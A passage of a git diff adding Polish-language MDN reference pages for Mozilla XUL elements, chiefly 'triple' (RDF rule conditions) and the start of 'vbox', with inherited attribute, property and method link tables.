+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <a href="pl/XUL/tree">tree</a>, <a href="pl/XUL/treecols">treecols</a>, <a href="pl/XUL/treecol">treecol</a>, <a href="pl/XUL/treechildren">treechildren</a>, <a href="pl/XUL/treeitem">treeitem</a>, <a href="pl/XUL/treerow">treerow</a> i <a href="pl/XUL/treecell">treecell</a>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/triple/index.html b/files/pl/mozilla/tech/xul/triple/index.html
new file mode 100644
index 0000000000..cfc56e59d1
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/triple/index.html
@@ -0,0 +1,128 @@
+---
+title: triple
+slug: Mozilla/Tech/XUL/triple
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/triple
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Element <code>triple</code> może zostać zawarty wewnątrz elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/rule" title="rule">rule</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/conditions" title="conditions">conditions</a></code>. Jest on stosowany w celu stwierdzenia zapewnienia (ang. <i>assertion</i>) wewnątrz diagramu (ang. <i>graph</i>). Jeśli takie zapewnienie istnieje, zasada może zostać spełniona, zakładając że wszystkie warunki są spełnione. Jeśli zapewnienie nie istnieje, zasada nie zostanie spełniona. Zarówno atrybut <code id="a-subject"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/subject">subject</a></code> oraz <code id="a-object"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/object">object</a></code> mogą być zmiennymi.
+</p><p><code id="a-subject"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/subject">subject</a></code> elementu <code>triple</code> jest źródłem RDF. Będzie to zazwyczaj element opisu RDF w pliku RDF. Atrybut <code id="a-predicate"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/predicate">predicate</a></code> (predykat) będzie elementem-dzieckiem lub własnością. Dla przykładu, dla źródła zakładek, nazwa i URL mogą być predykatami. Powinny być określone w formie pełnych URI. Atrybut <code id="a-object"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/object">object</a></code> jest wartością własności RDF.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Zaawansowane_regu%c5%82y">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-object">object</a>, <a href="#a-predicate">predicate</a>, <a href="#a-subject">subject</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><div id="a-object">
+
+<dl><dt> <code id="a-object"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/object">object</a></code>
+</dt><dd> Obiekt elementu. Może być to odwołanie się do zmiennej i URI źródła RDF lub wartość literalna RDF.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-predicate">
+
+<dl><dt> <code id="a-predicate"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/predicate">predicate</a></code>
+</dt><dd> Predykat własności do dopasowania. Musi być to URI własności. </dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-subject">
+
+<dl><dt> <code id="a-subject"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/subject">subject</a></code>
+</dt><dd> Temat elementu. Może być odwołaniem się do zmiennej lub URI źródła RDF.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/vbox/index.html b/files/pl/mozilla/tech/xul/vbox/index.html
new file mode 100644
index 0000000000..472efa1771
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/vbox/index.html
@@ -0,0 +1,101 @@
+---
+title: vbox
+slug: Mozilla/Tech/XUL/vbox
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/vbox
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Kontener mogący zawierać wiele elementów potomnych. Równoważny z elementem <code><code><a href="/pl/docs/Mozilla/Tech/XUL/box" title="box">box</a></code></code>, z wyjątkiem domyślnie ustawionej orientacji pionowej. </p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Model_pude%c5%82kowy">kursie XUL</a>. </p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre>&lt;!-- Dwie etykiety umieszczone poniżej --&gt;
+&lt;vbox&gt;
+ &lt;spacer flex="1"/&gt;
+ &lt;label value="Jedna"/&gt;
+ &lt;label value="Druga"/&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
